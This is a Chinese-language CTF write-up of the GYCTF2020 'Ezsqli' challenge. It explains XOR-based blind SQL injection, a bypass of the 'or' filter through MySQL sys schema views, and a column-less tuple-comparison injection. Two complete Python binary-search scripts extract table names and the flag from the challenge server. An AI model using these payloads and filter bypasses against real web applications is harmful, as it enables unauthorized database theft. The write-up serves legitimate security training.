[GYCTF2020]Ezsqli

话不多说,直接注
fuzz一波,发现输入分号和单引号无果,并且过滤了关键字符
猜测整形注入
[GYCTF2020]Ezsqli_第1张图片
无果,尝试异或注入

[GYCTF2020]Ezsqli_第2张图片
发现可行,这个注入我做的挺多了,就不细说了,具体可以去看我的博文 极客大挑战finalsql
注入的时候发现他过滤or 这样我们的information就不能用了

在这里插入图片描述
换成innodb_table_stats绕过也无果
在这里插入图片描述

发现sys.x$schema_flattened_keys 或者 sys.schema_table_statistics_with_buffer可以替代上面那个,果然条条道路通罗马
关于绕过详解
[GYCTF2020]Ezsqli_第3张图片

查表

import requests

url='http://35737a35-63b7-4e60-a584-e5cbbead6dc6.node3.buuoj.cn/index.php'
#give_grandpa_pa_pa_pa

payload_table='1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{})^1'
flag =''
for i in range(1,100):
    low = 32
    high = 132
    mid = (low + high) //2
    while(low < high):
        payload = payload_table.format(i,mid)
        data={"id": payload}
        print(payload)
        r = requests.post(url=url,data=data)
        if 'Nu1L' in r.text:
            low = mid+1
        else:
            high = mid

        mid = (low+high) //2
    if(mid ==32 or mid == 127):
        break
    flag +=chr(mid)
    print(flag)




表名如下
在这里插入图片描述
f1ag_1s_h3r3_hhhhh,users233333333333333
并且这里还过滤了join,查列就非常困难了
在这里插入图片描述

但是这个只能查表,接着就只能用无列名注入了
对构造盲注无列名注入了解的还不够彻底emmmm
无列名注入讲解
这上面是帮助各位理解无列名的
具体参考Y1ng师傅的文章
记下
盲注无列名构造
参考文章
Y1ng师傅参考文献

payload

1^((1,'G')>(select * from f1ag_1s_h3r3_hhhhh))^1

简单说说这个比较吧
如果字符窜第一位的ascii码大于要比较的第一位,那么直接返回真
而我们这个注入只要查值,所以值的ascii码是要减一的
具体的详细解释可以参考上面Y1ng师傅的文章
我这边用了二分法进去,就不用等那么久一遍一遍遍历了
exp如下:

import requests

url='http://35737a35-63b7-4e60-a584-e5cbbead6dc6.node3.buuoj.cn/index.php'
#give_grandpa_pa_pa_pa

payload_flag='1^((1,\'{}\')>(select * from f1ag_1s_h3r3_hhhhh))'
flag =''
for i in range(1,100):
    low = 32
    high = 132
    mid = (low + high) //2
    while(low < high):
        k = flag+chr(mid)
        payload = payload_flag.format(k)
        data={"id": payload}
        print(payload)
        r = requests.post(url=url,data=data)
        if 'Nu1L' in r.text:
            low = mid+1
        else:
            high = mid

        mid = (low+high) //2
    if mid ==33:
        break
    flag +=chr(mid-1)
    print(flag.lower())#因为出来的flag是大写,这边全部转为小写
    
print(flag.lower())




#

你可能感兴趣的:([GYCTF2020]Ezsqli)